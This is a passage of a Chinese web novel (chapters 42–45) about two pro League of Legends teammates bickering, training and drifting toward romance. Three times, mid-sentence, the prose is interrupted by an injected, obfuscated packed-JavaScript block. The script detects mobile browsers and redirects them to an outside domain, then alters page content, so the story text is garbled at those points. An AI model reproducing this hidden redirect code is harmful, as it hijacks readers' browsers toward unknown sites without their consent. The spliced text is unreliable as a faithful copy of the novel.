被搂着的人老神在在地往嘴里塞了口菜,细嚼慢咽后才说:“未来一个月你都吃不到我买的豆腐脑和油条了。” “好哥哥~错了~” 于琰还在撒娇卖乖,饭桌上的其他人都被他恶心得吃不下饭,众人皆用怜悯的表情看着廖望延。 邵乖:“延哥,你才是真正的忍者。” Nap:“我第一次觉得阿姨的饭这么难以下咽。” 左星水:“小琰,可以了,我也快吃不下去了。” 刘国柱:“呕!” 老姚倒是没什么表示,他的注意力没在饭桌上,于琰耍宝的时候他正捧着手机聊天。 过了一会,他把手机放下,看着众人道:“你们知道DL昨天为什么取消训练赛吗?” 众人闻到八卦的味道,将视线从于琰转移到他身上。 “我和DL的教练关系还不错,昨天他说完之后我就问他了,但他一直没理我,今天我又问了好几遍,他才跟我说。” 老姚叹了口气:“钟络和队里的打野吵起来了,两个人差点动手,昨天他俩的状态都没法打训练赛,所以才取消的。” “我靠,什么情况?吵到差点动手?” 刘国柱先叫出声,其余人也瞪着眼,于琰下意识紧了紧搂着廖望延的胳膊。 “嗯,具体原因他没说,我也不好问。”老姚说。 “不应该啊,钟络那脾气,在咱们这两年都没和人红过脸,怎么到他们DL就成这样了?” 刘国柱问出了众人心中的疑惑,但老姚也没法给个解释,只能耸耸肩道:“就是这样,我也很纳闷。” 几人里只有廖望延完全没兴趣关注这件事,他伸筷子夹了一块肉,送到自己脖子旁边。 于琰自然地叼着筷子将肉送进嘴里,边嚼边说:“钟络和之前不一样了,你们也别太刻板印象。” “啥意思?” 邵乖又从于琰的语气里听出了些许猫腻,感觉还有故事可扒。 “没什么意思,反正你们别把以前的他当成现在的他就行了。” 于琰又想起在B市旅游的时候钟络那几条短信,本还饥饿的他顿时没了胃口,不想和大家说太多,显得像是自己在背后传人坏话一样,他转头就想去和狗玩。 胳膊刚从廖望延脖子上拿下来,就又被他重新拉住。 于琰不解地看他,廖望延则是没什么表情地命令:“吃饭,现在不吃下午你又有借口不好好训练了。” 于琰本来也没这个意思,被他这么一说反倒是有点生气:“你这人心理太阴暗,你就不能把我想得上进点?” “上进?上楼进卧室的那种上进吗?” 于琰气得直揪廖望延头发,后者也没什么反应,拉着他的胳膊示意他从自己旁边坐下。 于琰化愤怒为食欲,干掉两大碗米饭,注意力成功被廖望延转移,根本想不起自己刚刚还在为钟络这个人生气。 其余人被他俩这么一打岔,也没了探究钟络的欲望,捧起碗重新吃饭。 42.Chapter 42 “有没有穿孔师啊!我想让他从我左边的太阳穴穿到右边!”于琰抓着头发哀嚎。 自和TOP的训练赛之后,老姚没再接其他队伍的邀约,开始给HG五人进行针对性训练。 按照他的说法是,跟PNG和TOP打完之后,感觉现在五人磨合的还不错,可以多练习点配合战术当压箱底的藏招,到时候没准能用在春季赛上。 话虽有理,但基地里的几人却属实过上了水深火热的日子,每天两眼一睁就是练。 不管英雄是热门的冷门的,也不管双排属性搭得上还是搭不上,反正五人所有想不到的组合都被老姚按头玩了个遍,就连廖望延都捏着鼻子玩了好几把纳亚菲利。 如果你要问纳亚菲利是哪个英雄,那只能说老姚的战术达到了。因为现有版本根本没人会用这个下水道英雄去打野。 邵乖之前还叛逆,老用什么泰坦、女坦、星妈去玩上单,现在好了,教练带头让他玩奇葩英雄。 不想玩?那不行。让你好好玩热门英雄的时候你不玩,现在不给你机会玩了。 左星水还好,AD就那么多,再玩也玩不出花来。Nap就不一样了,软辅硬辅法辅轮番上阵,连扎克这种粑粑人都逃不出辅助十八层地狱。 但要说惨,还得把于琰排第一。 如果说其他人起码还有个英雄属性边界,那于琰的中路就毫无限定可言。大众熟知的英雄就不说了,但是这个狗屎中单剑圣到底是谁给老姚的灵感?于琰感觉自己一下子回到了远古时期。 老姚做的挺绝,为了不让其他人发现HG现在的训练办法,他逼着几人创小号,从没分段开始打,打到大师才算合格。 如果是正常打,上大师其实不算难事。奈何顶头教练根本不让玩常规英雄,于是众人开始度过两眼一黑看不见前路的魔鬼训练。 于琰:“该我了!你赶紧退出来!” 邵乖:“我不!” 廖望延这半个月成了队里的香饽饽,谁都想跟他一起双排。毕竟谁都知道,拥有一个冠军打野能让自己的上分之路变得简单许多。 于琰和邵乖说好了,一人四个小时包揽廖望延的全天训练时间,却没想到邵乖中途变卦,准备私吞基地共有财产。 于琰指着邵乖:“你别逼我!等我屁股从椅子上挪开的时候就是你的死期!” “那咱俩谁都别想活!”邵乖也不甘示弱。 廖望延两腿一蹬,连人带电竞椅滑向后方,给二人腾出打架的地方。毕竟他的位置正好在二人中间,要是衰神附身被战场波及到就不好了。 “你不是三头六臂。” 于琰撸起袖子,准备即刻发动一场小型战争。 邵乖没明白他这话是什么意思。 廖望延看着邵乖明显有些迷茫的双眼,好心地给他解释:“他说你不是三头六臂的意思就是说你一头二臂。” 于琰给他竖了个大拇指,赞扬他超绝的理解能力。 邵乖一下子火顶脑门,噌的一下站起来指着于琰鼻子怒骂:“你才二逼,你全家都二逼!” 两人霎时扭打在一起。 廖望延坐在vip席位翘着二郎腿观战,一旁还没结束双排的左星水和Nap时不时就要扭头看两眼,生怕这顿架结束得太快没能看上热闹。 邵乖比于琰矮不少,天然有点劣势,一看架势不对他直接抬手揪住于琰的头发,另一只手去拧于琰的侧腰。 “我靠!” 于琰被拧得一个激灵,有样学样地揪着邵乖的头发往后扯,另一只手掐着他的腮帮子向外拉。 明明是两个男人之间的英勇决斗,双方手段却都幼稚得要命。 于琰想用膝盖顶邵乖的肚子逼他撒手,但邵乖眼疾手快,撒开手立刻去拉于琰的腿,小臂捞住膝盖窝往回用力,于琰失去重心立刻向后倒。 vip席位有什么优势?首当其冲的应该就是最佳观赏位置。 而此刻,它成为了廖望延的最佳倒霉位置。 邵乖这个下意识的动作,导致于琰直直向后倒,而于琰的正后方正好是廖望延。 最要命的是,于琰向后倒也不撒开揪着邵乖头发的手,导致后者也被捎带着往后扑。 两个成年男人猛地压在廖望延身上,200多斤的重量差点没把他压断气,晚饭都差点从胃里倒流到嗓子眼。 廖望延无语看天:“老子招谁惹谁了……” 来得早不如来得巧,老姚推门进来正好看见三个人叠叠乐的场景,最下面被压着的还是他的预备役副教练。 “干什么呢?!还不给我起来!”他怒斥。 于琰和邵乖自知理亏,丧眉搭眼地起身回到座位。 老姚:“Mesh,没事吧?” 廖望延顺着胸口道:“没事姚哥,他们都不是故意的,不过我确实感觉有点难受,能不能歇会再训练?” 他皱着眉像在忍痛,但其实只是为了躲避最近这种魔鬼训练。 老姚一听顿时心道不好,廖望延可是自己的心肝大宝贝。 他急忙准假:“没事,你赶快回屋歇着吧,今天你不用练了。” “那就谢谢姚哥了。” 廖望延说完起身,将椅子推回原位,退掉游戏关掉电脑,在临走前对着于琰眨了两下眼。 于琰本来还挺担心的,以为自己和邵乖真把他压出毛病了,一看他这眨眼,就知道这个老狗比又是装的。 他咬着牙瞪廖望延,直到后者走出去关上训练室的门还没把眼睛收回来。 老姚看见他的视线顿时火冒三丈,笔记本直直拍向他的脑门:“看看看,看什么看!给Mesh压出个好歹你负得起责吗!今天你的训练加一个小时!邵乖你笑什么笑!你也一样!” 于琰和邵乖顿时垮起脸,生无可恋地盯着电脑。 廖望延哼着歌上楼,此时距离结束训练还有三个半小时,他已经很久没在这个时间休息过了。 百无聊赖地玩手机到将近10点,他拿着浴巾进卫生间洗澡。 他故意放慢洗澡时间,等围着浴巾出来的时候,房间里却没出现想等的人。 他扭头看了一眼挂钟,皱了皱眉给左星水发消息。 【Y:水哥,你们训练完了吗?】 过了两分钟,对面发回消息。 【水星没有水:嗯,怎么了?】 【Y:没事,我就是问问。】 左星水似乎察觉到了什么,特意又解释了一句。 【水星没有水:不过邵乖和于琰被姚哥加练了一个小时,估计要11点才能结束。】 【Y:ok。】 廖望延得到想要的情报,低头看了一眼腰上的浴巾,轻轻“啧”了一声。 他躺回床上又刷了半天微博,看着时间马上到11点,起身重新进浴室,边走边自言自语:“一天洗三次澡,就没见过我这么爱干净的。” 楼下的于琰盯着屏幕右下角的时间,当它跳转至23:00的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756184|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞速关掉电脑,临走前还不忘了瞪邵乖一眼。 他的目的地非常明确,直直冲向廖望延的房间。 因为他自己才被多加一小时训练,此仇不报非君子! 他推门而入听见了卫生间里的水声,只能愤愤地坐在床边等待。 于琰等了好半天,马上就要不耐烦的时候,廖望延推门出来。 他浑身裹着水汽,发尾的水渍顺着脖子往下淌,水珠从侧颈滑到胸口又继续往下,消失于灰色的裤边。 廖望延故作惊讶地看着自己床上的人,随后猛地回身进浴室。 半分钟后他脖子上挂着毛巾,腰上裹着浴巾重新出来。 “来了怎么不敲门?” 于琰没回话。 他现在脑子里很乱,全是某人浑身上下只着灰色平角内裤的模样。 在廖望延回浴室的那半分钟里,他几次三番想压制自己发散的思维,却仍旧忘不掉那条包住两室一厅的内裤。 “你……” “我?我怎么了?”廖望延挑眉。 “算了,没什么,我走了。” 于琰说完就想溜,但等了一晚上的人怎么可能放过这种独处时间。 廖望延擦了擦头发:“怎么这个时间来找我,训练不是10点就结束了吗?” 既然他不说,那就由自己先挑起话头。 思维飞到大气层外的于琰这才想起自己是为何而来,愤愤道:“要不是你这个狗东西,老子能加练一小时吗!” 始作俑者无辜地眨眼:“这也怪我?” “不怪你怪谁!” 廖望延伸开双臂,大剌剌地走到于琰面前。 “那你说吧,你想怎么报复回来?” 于琰愣愣地看着面前的身体。 他的平视视线正好落在廖望延的腹肌上,轮廓分明的小腹伴随着呼吸微弱起伏。他仰头向上看,本意是想看廖望延的脸,但也不知道为什么视线就落在了他胸口上。 于琰猛地闭上眼,伸手想将廖望延推得离自己远一些,却在指腹触碰到他身体时飞快收回。 “你他妈……你……你往后退点。” 廖望延看着他的表情无声一笑,往后退了一步。 “ok了。” 于琰轻轻睁开眼,一直盯着他的廖望延在他睁眼的一刹那猛然弯下腰,将脸凑到他面前。 距离近到呼吸可闻。 于琰被他这个动作吓得呼吸一窒,霎那间脸红一片。 廖望延仍旧盯着他,过了两三秒后开口问:“你害羞什么?” 太近了。 他说话间喷洒出的热气烫得于琰想立刻逃走。 “谁他妈害羞了?你说什么梦话呢。” 于琰还在嘴硬,但廖望延也没反驳。 他直起腰,把脖子上的毛巾扔到于琰脑袋上,带着一丝笑意说:“那可能是我房间太热了,热的你都脸红了。” 于琰被毛巾覆盖住视线,看不见他,乱跳的心脏逐渐归于平稳。 “你害我多训练一小时,明天不许带邵乖,跟我排一天。”于琰说。 “行啊,没问题。” “那我没事了,我先回去了。” 于琰起身扯下自己头顶上的毛巾,一把将其塞回廖望延怀里,看也没看他,像火烧屁股一样走了。 廖望延定了几秒,转头看向门口,看于琰急得连门都忘了关,不由得笑出声。 “没白瞎我这次色.诱。” 43.Chapter 43 廖望延低头看了看怀里的毛巾,将其扔在椅子上,又扯开围在腰间的浴巾一并处理。 他返身进浴室,拿出其实早就放在置物架上的睡衣,慢条斯理地套在身上。 卫生间内的热气早已散尽,地上留着几块水渍,彰显着不久前被使用过的痕迹。 廖望延看着地面,从脑子里复盘了一遍自己那见不得人的计划,又笑了出来。 他不怕于琰有应激反应,他怕的是没有反应。 毕竟有反应就证明有缺口,就证明他能顺着这个缝隙趁虚而入。 苟了五年,把于琰苟到了钟络身边,他憋了一肚子的气没处撒。好在竞争对手脑子实在有缺陷,不然他就真得干一些翘人墙角又争又抢的事了。 廖望延不想搞雄竞,但必要时候手段下作一点也不是不能接受。 他穿好睡衣后对着镜子撩起衣摆,看着镜中还算优渥的身材条件轻吹了一声口哨。又低头用两指捏住自己的内裤边,稍稍使力捻起又松开,听见松紧边贴上胯骨的一声响,抿唇笑了一下。 “差点忘了感谢你,我的新内裤。” 他轻哼着不成调的歌,将椅子上的毛巾和浴巾塞进脏衣篮,躺在床上刷手机。 若是有人凑到他旁边细看,就能发现,他只是在用指尖随意划动着桌面,注意力却根本没在手机上。 “小东西,希望你能睡个好觉。” 另一间房里的于琰没接收到廖望延的好梦祝愿信号。 他又失眠了。 上次是因为钟络,这次是因为廖望延。 从后者房间逃出来后,他两眼呆滞地躺在床上看天花板,脑子里混乱不堪。 他觉得廖望延可能是吃耗子药了,这大半个月从言谈到行为举止都不太正常。 于琰逼着自己不去想,但脑子里还是像过幻灯片一样重复播放今晚的那些画面。 沾满水汽的身体、只着寸缕的模样、指腹轻触的肌肉、呼吸交缠的距离。 他越是想,越是乱,越是逼着自己忘,越是记得清。 多种复杂的情绪糅杂在脑海里,汇聚成了一团浆糊,把所有思维都粘在一起,像颗找不到线头的毛线团。 “靠。” 于琰像被抽筋剥骨一样浑身使不上力。他用右脸贴住枕头蹭了蹭,睁着无神的眼看窗外。 就这么从夜晚看到了天明。 早上七点半,他终于呆不住了,穿着睡衣去厨房溜达了一圈。 他从冰箱里拎出一袋面包片,取出两片塞进烤面包机,又倒了杯牛奶放进微波炉里打热。 正在餐桌上吃早饭的时候,楼梯上有脚步声传来。 于琰一口吞掉剩下的半杯牛奶,慌乱地看了一圈四周,最终决定藏在冰箱侧面。 这个时间能出现在基地里的不会有第二个人。 廖望延睡了个好觉。 七点刚出头他就醒了,准备早出门20分钟晨跑,顺便给于琰买点零食。 他精神百倍地走进厨房冲咖啡,无聊之下四处环视。脑袋还没转半圈,就和蹲在冰箱旁边的于琰对上了眼。 廖望延:“?” 于琰:“。” 廖望延:“???” 于琰:“。。。” 二人沉默着对视。 看着于琰左手捏着半个面包片,右手握着空杯子,一脸想找个地缝钻进去的搞笑姿态,廖望延挑了挑眉。 “什么意思?大早上起来玩真人cs?用冰箱当你的掩体,准备拿玻璃杯当手榴弹给人当头一击?” 于琰还是一脸生无可恋的模样。 廖望延看了一眼手表。 “七点四十二,如果我没记错,上次你这个时间起床还是因为和前男友那点破事,这次又是因为谁?” [因为你这个傻逼。] 于琰在心里暗骂,嘴却像个锯齿葫芦一样保持沉默。 “哑巴了?要不现在带你去医院看看?这个时间过去正好能赶上医院开门,还不用排队,这次我勉为其难当个免费陪诊人员,但是下次就得收费了,就凭咱俩这关系,我可以给你打个88折亲情价。” 廖望延眼珠子转了转,又马上改口:“父子价。” 于琰握着玻璃杯的手越捏越紧,像是马上就快忍不住骂脏话的样子,憋得脸上直泛红。 廖望延轻抿一口咖啡,靠在吧台上从容不迫地看着他。 “……” “……” 于琰腿蹲麻了。 发现廖望延一副看自己乐子的模样,他干脆破罐破摔站了起来,面无表情地啃了一口面包片。 “少说两句话是不是能憋死你?” “憋不死,但我就喜欢看你说不过我的样子。”廖望延回道。 于琰用肩膀撞开廖望延,在水池面前沉默地涮杯子。 将洗净的杯子倒扣在沥水篮里,于琰转身就要走。廖望延也不拦他,却在他与自己错身后慢条斯理地问:“躲我?” 于琰被戳中心事慌乱得要命,直接开始胡言乱语:“我爷爷要生我爸了,我去看看是男孩还是女孩。” 廖望延扑哧一声乐了出来。 他拎着咖啡走到于琰面前,微微垂眼,嘴角噙着一抹笑:“不会吧?你到今天还在害羞啊?” “你别放屁。”于琰下意识反驳。 “不是光屁股长大的吗?看个上半身有什么好害羞的?以前你伸着狗爪子直愣愣摸我腹肌的时候也没见你这样啊,现在怎么跟个小姑娘一样。” 于琰肠子都悔青了,后悔自己干嘛要在钟络面前说这句话,现在它变成了廖望延拿捏自己的最好武器。 “这事过不去了是不是?” 廖望延点点头,笑得连牙齿都露出来几颗,贱得要命。 于琰还是有点尴尬,不想继续对话,往右一个迈步就要越过面前的人。 廖望延怎么可能如他所愿。 于琰往右,他就往右。于琰往左,他也往左。于琰后退,他就往前迈一步。 听见某人不耐烦地啧声他还是没收敛,又继续往前。 于琰被他逼得一步步后退,最终屁股抵上吧台边沿,退无可退。 廖望延突然作势要弯腰。 于琰被这个动作搞出了心理阴影,忙伸出手抵住他的胸口,磕巴着问:“你你你……你他妈又要干什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765967|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖望延没吱声,抵抗着力量继续贴近。 于琰被吓得眼神飘忽指尖轻抖,脑子里忽然冒出个离谱荒谬又确实有可能的猜想—— 他不会要亲我吧? 眼睁睁看着廖望延的脸离自己越来越近,于琰心都快要跳出嗓子眼了。 下一秒。 廖望延稍微往左偏了偏头,抬起胳膊,将手里的咖啡放在台面上,然后直起身子往后退了两步。 “没想干嘛,把咖啡放桌面上罢了,你以为我想干什么?” 于琰还维持着那个伸手的姿势没动,听见他的回话缓慢地眨了两下眼。 [他是傻逼。] [他绝对是傻逼。] [全天下没有比他更傻逼的人了。] [我想把他杀了。] 于琰脑子里像过弹幕一样,冒出来的全是国粹。 “手还伸着干什么?没摸够?我再让你摸一会?” 廖望延看着他还没放下的右手挑了挑眉,下一秒就要往前逼近,似乎要把说出的话付诸现实。 于琰忙把手背到身后,将其压在屁股和吧台边缘中间。 “现在不是春天,你控制一下自己,你再这样我要带你去做绝育了。” “好兄弟捏一下胸怎么了?你也不是没捏过。” “谁他妈捏过你的胸了?!你放你妈的狗屁!!!” 于琰被这句造谣点燃了深藏于内心的爆炸因子。 他忍了好久了,从上次摸嘴唇他就开始忍,忍到现在都要变成忍者神龟了! “你他妈的是不是吃错药了!你到底在发什么春!”于琰掐着廖望延的脖子怒骂道。 廖望延摆着一副不解的表情,也没挣扎,被他掐着边后退边说:“我吃错什么药了?应该是我问你吧,你到底在娇羞什么?以前咱俩一块洗澡什么都看过了也没见你这样啊。你呆着没事就往我身上靠,要不就是捏捏肩膀要不就是摸摸腹肌,我都没当回事,现在你倒是和吃了疯狗丸一样质问起我了。” 于琰一下子愣了,使力的双手也逐渐松下来。 好像……确实是。 以前确实不这样。 以往都是他摸来摸去被廖望延不耐烦地拍开手,而自己还硬要继续撩闲。 于琰垂下手,茫然地开始神游。 廖望延看着他的样子在心里偷笑。 对付于琰就得用这种洗脑法。 我有错?不,我没错,是你有错。你要问我是什么错,反正不是我的错,都是你的问题,你自己琢磨去吧。 只要够坦然,于琰就会怀疑是自己出了问题,等他想烦了也就破罐破摔懒得管了。 “你自己好好琢磨琢磨吧,反正我是搞不明白你脑子里都在想什么,你最好能给我个合理的解释。”廖望延反客为主,又抬手看了看时间,“八点都过了,你已经耽误我10分钟的晨跑时间了,希望我回来的时候你可以和我道歉。” 于琰还在神游,等大门被关上发出一声轻响才回过神。 他扭头看了看廖望延放在桌子上的咖啡,被洗脑到真的开始反思,喃喃着自言自语:“好像确实是我有问题啊……” 44.Chapter 44 和咖啡杯大眼瞪小眼了半天,于琰还是决定放弃跟死物的无声斗争。 毕竟熬了一个通宵,脑子真是有点转不过弯。 他踩着虚浮的步子回到房间,将自己扔上床,看着天光大亮的窗外又开始胡思乱想。 [好像也是,以前占了老狗比那么多便宜也没什么感觉,怎么还突然扭捏起来了。] [靠,我是不是得了什么钟情妄想症啊?不能吧……] [难道因为我自己是个同性恋,所以没法接受同性之间正常的身体接触了?也不应该啊,旅游那天还靠他肩膀上补觉,回T市那天早上他还公主抱我来着,我也没啥感觉啊……] [不对,现在想起那个公主抱怎么也有点心跳加速啊……难道我突然得了什么心脏上的毛病?] 于琰猛地坐起来解锁手机,点开百度开始搜索:无缘无故心跳加速和呼吸困难是什么病? 他按照搜索结果先后顺序一个个查看,看到窦性心律不齐的症状包括心慌、心悸、心跳加速、呼吸困难、乏力的时候点了点头。 没错,自己就是得病了。 破案了,和廖望延没关系,问题出在了自己身上。 他又开始搜:窦性心律不齐需要吃药吗? 看见百度上说这个毛病属于生理现象,不需要吃药后,他满意地将手机息屏放在自己小腹上,放下了悬着的心。 “还是百度好,百度救我命,以后谁说百度查病癌症起步我就跟谁拼命。” 自己把自己确诊有病之后,于琰一下子就舒坦了,连带着紧张了一晚上的身体也开始放松。 不多时,房间里响起轻微的鼾声。 廖望延还不知道于琰自行确诊的事,他只知道自己连着两天锻炼起来一点都不累。 活力满满地跑回基地,他没按照惯例回屋洗澡,而是轻手轻脚进了于琰的卧室。 看于琰搂着被子睡得正香,廖望延小心翼翼地替他拉上窗帘,生怕发出什么声响吵醒他。 一眨眼到了午饭时间,老姚看着廖望延旁边空着的位置问他:“Mesh,于琰呢?” “睡觉呢。你们不用管他,我已经跟阿姨说好了给他留一份饭。” “他平常这个点不是早就该起来了,怎么今天还在睡?”邵乖问。 廖望延夹菜的手顿了一下,又很快恢复动作。 “不知道。” 老姚皱着眉问:“那他下午还能按时训练吗?” “下午我去叫,如果实在不起来的话就让他训练时间延后,反正一天练够八个点不就行吗,我盯着他,姚哥你放心。” 廖望延早把事情安排妥当了,根本用不着老姚操心。 “那就行。” - 下午一点四十,廖望延第二次进于琰卧室。 不出他所料,于琰一点醒的迹象都没有。 廖望延推了推他的肩膀,听他哼唧两声表达不愿意醒的意思,又用了些力重复刚才的动作。 于琰不耐烦地拽住他的手,用脸压在枕头上,呼吸洒在廖望延的手腕内侧。 廖望延被迫弯腰,面无表情地说:“别以为你撒娇就管用,起来训练。” “没撒娇。”于琰嘟囔着,又用鼻尖蹭了蹭他的手腕,“你也不是不知道我通宵了……” 廖望延还真不知道。 他以为于琰只是单纯起得早,没想到他是一夜没睡。 “通宵?为什么通宵?” 于琰没回话,撒开廖望延的手坐起来伸了个懒腰,用余光扫了一眼他的位置,然后一个熊抱将脸埋进他的小腹。 廖望延被这个动作搞得肢体瞬间僵硬,语气中带着一丝微不可察的惊讶:“不躲我了?” 他真的很好奇发生了什么。 “诚挚地和你说一声对不起,这阵子是我的问题,但我早上已经把原因找出来了。” 于琰正脸贴着廖望延小腹,声音闷闷的。 “原因?什么原因?” 于琰仍旧搂着他没撒手,但却把脸收了回来,用仰视的角度看着廖望延的下巴,道:“其实我得病了。” “……” 廖望延有点跟不上他的脑子,沉默了几秒后低下头迟疑着问:“什么病?” “窦性心律不齐。” 于琰表情非常严肃。 廖望延追问:“怎么确诊的?” “百度。” “……” 无语。 人类的母语就是无语。 廖望延想不到事情会是这样的发展。 “你……怎么确定的自己有病?” 廖望延内心是崩溃的,但表情与声音却不显分毫。 “因为我面对你出现的那些反应都符合这个病的症状。”他说。 “……” 廖望延按住于琰的后脑勺,让他重新把脸贴在自己腹部。 于琰那种不知道从何而来的自信与严肃让他恨得牙根痒痒,再和他对视下去的话,廖望延怕自己破防。 “百度的结果你也敢信?” “为啥不敢?上面说的都对啊。” “……万一你没病呢?” “不可能,那就解释不了我为什么突然之间对你的感觉不对劲。” 廖望延崩溃地问:“你他妈这病还有指向性???” 于琰被他按着脑袋动不了,但言语中饱含笃定:“应该是。” “就不能是你对我有了那么点好感?”廖望延被他气得太阳穴直跳,没过脑子就把心里话说了出来,刚说完他就后悔了,立马给自己找补,“不是,我的意思是……” “不可能。”于琰没听完就打断了他的话,用百分之120%的语气确凿地否认,“我对刘国柱有好感都不可能对你有。” 廖望延拽着他的头发往后拉,微微俯身与他对视,一脸不可置信。 “我还不如刘国柱?” 于琰解释:“不是,我这是夸张的修辞手法,中心意思就是我不可能对你有别的想法。” “……”廖望延感觉自己牙都快咬碎了,“你还想让我夸你呗?你语文学的真好,还知道用修辞手法了。” 于琰“嘿嘿”两声,装作羞涩地用手抠了抠他的后背:“小夸两句就行,夸多了容易上头。” 廖望延扭开他环着自己腰的两条胳膊,转身走到窗前,深吸了几口气,决定结束现在这个快让自己得心脏病的话题。 “如果你不想继续被老姚加练,就立刻起床下楼,我这句话可没有夸张的修辞手法。” 于琰看着廖望延的背影伸了伸拳头,不情不愿地踩上拖鞋进卫生间。 廖望延没回头,听见水声后抬手捏了捏自己的眉心。 太糟心了,就没见过比于琰还傻逼的人。 喜欢于琰的自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774428|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是个傻逼。 于琰在卫生间里打了个喷嚏,怒吼道:“廖望延!你是不是骂我呢?” 和傻逼对话太多会把自己也变成傻逼,廖望延突然领悟到这句人生哲理。 等于琰脸上挂着水珠子出来的时候,房间里除了他已经没有第二个人了。 廖望延进训练室的时候其他几人已经开始rank了,他迟到了10分钟,老姚看见他也没说什么,只问道:“于琰起来了吗?” “起来了,估计等会就下来了。” 廖望延说完按下主机的开机按钮,又扭身重新出门。 在厨房把于琰的午饭热好,他端着一盘一碗回训练室,将手里的东西摔在于琰面前,面无表情地说:“进食。” 于琰被他这个动作吓了一跳,瞪着眼看他:“你犯什么病?” 廖望延冷笑一声:“我可没病,有病的是你。” 邵乖一直关注着他俩,不由得问:“于琰得啥病了?” 于琰:“窦性心律不齐。” 廖望延:“精神病。” 邵乖闻出两人之间细微的火药味,扭过头不再说话。 于琰则是端着碗怒瞪廖望延。 “你才精神病,怎么跟你爹说话呢。” 如果说于琰的生气属于物理攻击,那廖望延的生气就是魔法攻击。他不骂人,但会变着法的用各种拐弯抹角的话损人。 “行,我和你道歉。你确实不是精神病,因为你是草履虫,单细胞生物。你知道草履虫是什么吗?哦我忘了,你初中生物28分,确实有可能不知道。” “你!” 于琰话还没说完就被廖望延打断,他继续高强度输出;“一天天顶着你那个蒜瓣脑袋逮谁当谁爹。就你?给门外面那只贱狗当爹它都得往你鞋面上拉坨屎表达他的强烈不满。” “你他妈!” “我妈好着呢,她要是知道你这么惦记她,高低得给你买两斤猪饲料帮你补充营养。看看你电脑右下角的日期,12月了,知道12月代表什么吗?代表还有一个月就要过年了,你这头年猪马上就要被按在板凳上放血割肉登上全村人的饭桌了。” “廖望延!我跟你拼了!” 于琰被说得火冒三丈,饭也不吃了,把碗一扔站起来就要和廖望延拼命。 “拼拼拼,先把你一半的狗脑子和另一半猪脑子拼在一起再跟我叫嚣吧。要不你怎么和那个贱狗玩得来呢,你俩是一个品种的,天生有共同语言。” 廖望延边反抗于琰的猛烈进攻边诅咒他,嘴像机关炮一样嘟嘟嘟输出个不停。 Nap趁着回城,沉默地切屏点开自己的直播伴侣,看着10分钟前还几千个观众的直播间如今直接飙升到三万,打开记事本跟水友交流。 [攻势太猛了兄弟们,根本不敢说话,你们多担待。] 直播间的水友也表示了充分理解。 【小醒别怕,毕竟妈妈也怕。】 【从未见过如此歹毒的攻击,Mesh如果这么骂我我可能已经嚎啕大哭了……】 【开个水滴筹吧,我想给于琰捐点钱。】 【感觉Shark能和经理报工伤了,理由我都替他想好了,就说:因队友恶毒诅咒导致心脏骤停。】 【Mesh的嘴,伤人的鬼。】 【学到了,请Mesh多说几句,以后我就可以无伤在网上和人对骂了。】 45.Chapter 45 于琰根本没发现Nap在开播,闹了好一阵子才停下来。 八个小时的训练时间,他把rank的对手当作廖望延去打,超水平发挥连胜了一整晚。 等于琰消气了,想和廖望延重归于好时,却发现后者根本不搭理他。 他们两个人几乎每天都在吵,没人把这天的小插曲当成要紧的事,就连当事人于琰都没往心里去,只当廖望延嘴贱的瘾又犯了故意找茬。 但从转天开始,于琰发现,廖望延莫名其妙和自己单方面冷战了。 不对话,不给眼神,完全无交流,把自己当空气。他上赶着和廖望延说话,也得不到后者任何回应。 邵乖痛并快乐着,一边乐于和廖望延的双排上分,一边苦于他当天的高压支配。 “漏刀,这已经是我看见的第三个了,你有帕金森?” “没我帮你就杀不了人?你干脆玩个猫挂我身上得了,打什么上单。” “让对面丝血逃了,你也和刘哥一样信佛是吗?主打一个不杀生?给自己积德呢?” “看不见中路miss信号?还在那吭哧吭哧点塔呢?手不好用就罢了,眼睛和耳朵也不好使?” “你一会和刘哥商量商量,不行的话去当帮厨吧,毕竟你这操作真挺下饭的,打上单可惜了。” 邵乖从一开始敢怒不敢言,到最后左耳进右耳出,根本不把廖望延刺刀般的言语当回事了。 简称:破罐破摔。 如果说邵乖是水深火热,那于琰就是寒冬凛冽。 廖望延明明在骂邵乖,但于琰总有种自己也在挨骂的错觉。 问题是……他根本不知道廖望延在生什么气啊! 他是想问,但是廖望延根本不给机会。 上午起床时,于琰下楼正好和廖望延碰面,他上赶着搂廖望延肩膀,一如往常地想聊些没营养的话题:“嘛呢儿砸?” 廖望延抖抖肩膀甩开他的手,一声没吭上楼了。 看了个满眼的左星水问:“什么情况?” 于琰茫然道:“不知道啊……” 中午吃饭时,于琰挨着廖望延坐,想吃的炸鸡腿离他太远,他又不想站起来,所以他拍了拍廖望延胳膊。 